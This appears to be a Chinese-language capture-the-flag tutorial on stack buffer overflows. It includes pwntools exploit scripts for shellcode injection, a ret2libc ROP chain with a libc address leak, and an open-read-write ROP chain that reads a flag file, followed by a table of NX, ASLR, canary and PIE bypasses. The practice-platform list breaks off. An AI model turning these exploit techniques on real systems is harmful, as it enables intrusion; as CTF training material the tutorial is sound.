一、缓冲区溢出漏洞利用基础
1. 漏洞原理
程序在向缓冲区写入数据时,未检查输入长度,导致数据覆盖相邻内存区域(如返回地址)。攻击者通过构造特殊输入,可控制程序执行流程。
2. 利用条件
- 可写内存:覆盖返回地址或注入shellcode。
- 已知函数地址:如
system()
、execve()
等。 - libc 地址泄露:若需动态链接库中的函数。
二、获取Flag场景
场景 1:覆盖返回地址执行shellcode
若程序存在栈溢出且没有开启保护机制(如NX位、ASLR),可注入shellcode并跳转到它执行。
示例步骤:
- 确定溢出点:找到可覆盖返回地址的偏移量。
- 构造 payload:
padding+shellcode地址
。 - 执行 shellcode:通常是调用
/bin/sh
获取 shell,再读取 flag 文件。
示例代码(假设偏移量为 40):
from pwn import *
# 生成shellcode(执行/bin/sh)
shellcode = asm(shellcraft.sh())
# 计算返回地址偏移量(假设为40字节)
padding = b'A' * 40
# 构造payload:padding + shellcode地址
# 注:实际中需确定shellcode在内存中的地址
payload = padding + p64(0xdeadbeef) # 替换为shellcode地址
# 与程序交互
p = process('./vulnerable_program')
p.sendline(payload)
p.interactive() # 获取shell后读取flag
场景 2:利用现有函数(ROP 链)
若程序开启了NX保护(禁止执行栈上代码),可利用ROP(Return-Oriented Programming)链调用现有函数(如system("/bin/sh")
)。
示例步骤:
- 寻找 gadget:使用工具(如
ROPgadget
)查找程序中的pop rdi; ret
等指令片段。 - 构造 ROP 链:
padding+pop rdi; ret+"/bin/sh"地址+system地址
。
示例代码:
from pwn import *
p = process('./vulnerable_program')
elf = ELF('./vulnerable_program')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # 本地libc
# 1. 泄露puts函数真实地址(用于计算libc基址)
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = elf.symbols['main']
# 构造ROP链:调用puts(puts_got)打印puts真实地址,然后返回main
rop = ROP(elf)
rop.raw(b'A' * 40) # padding
rop.puts(puts_got) # 调用puts(puts_got)
rop.main() # 返回main,再次触发漏洞
p.sendline(rop.chain())
leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success(f"Leaked puts address: {hex(leaked_puts)}")
# 2. 计算libc基址和system、/bin/sh地址
libc.address = leaked_puts - libc.symbols['puts']
system_addr = libc.symbols['system']
bin_sh_addr = next(libc.search(b'/bin/sh'))
# 3. 构造最终ROP链:调用system("/bin/sh")
rop = ROP(elf)
rop.raw(b'A' * 40)
rop.call(system_addr, [bin_sh_addr]) # system("/bin/sh")
p.sendline(rop.chain())
p.interactive() # 获取shell后读取flag
场景 3:读取 flag 文件内容
若程序无直接执行 shell 的条件,但可控制文件操作,可构造 payload 读取 flag 文件。
示例步骤:
- 确定 flag 路径:如
/home/user/flag.txt
。 - ** 利用
read()
或puts()
打印文件内容。
from pwn import *
p = process('./vulnerable_program')
elf = ELF('./vulnerable_program')
# 假设flag路径已知
flag_path = b'/home/user/flag.txt'
# 构造ROP链:open(flag_path) -> read(fd, buf, size) -> write(1, buf, size)
rop = ROP(elf)
rop.raw(b'A' * 40)
# 1. 调用open(flag_path, 0)
rop.call('open', [flag_path, 0])
# 2. 调用read(fd, buf, 0x100)
buf_addr = 0x601000 # 可写内存地址
rop.call('read', [3, buf_addr, 0x100]) # fd=3(open返回值)
# 3. 调用write(1, buf, 0x100)
rop.call('write', [1, buf_addr, 0x100])
p.sendline(rop.chain())
p.interactive() # 接收flag内容
三、常见保护机制与应对方法
保护机制 | 作用 | 绕过方法 |
---|---|---|
NX 位 | 禁止栈执行 | ROP 链、利用现有代码段 |
ASLR | 地址随机化 | 泄露 libc 地址、爆破低字节 |
Canary | 栈保护机制 | 泄露 canary 值、利用格式化字符串漏洞 |
PIE | 程序随机基址 | 泄露程序基址 |
四、实践建议
-
学习工具使用:
pwntools
:快速开发 exploit。GDB
+pwndbg
:调试漏洞利用过程。ROPgadget
:生成ROP链。checksec
:检查程序保护机制。
-
练习平台: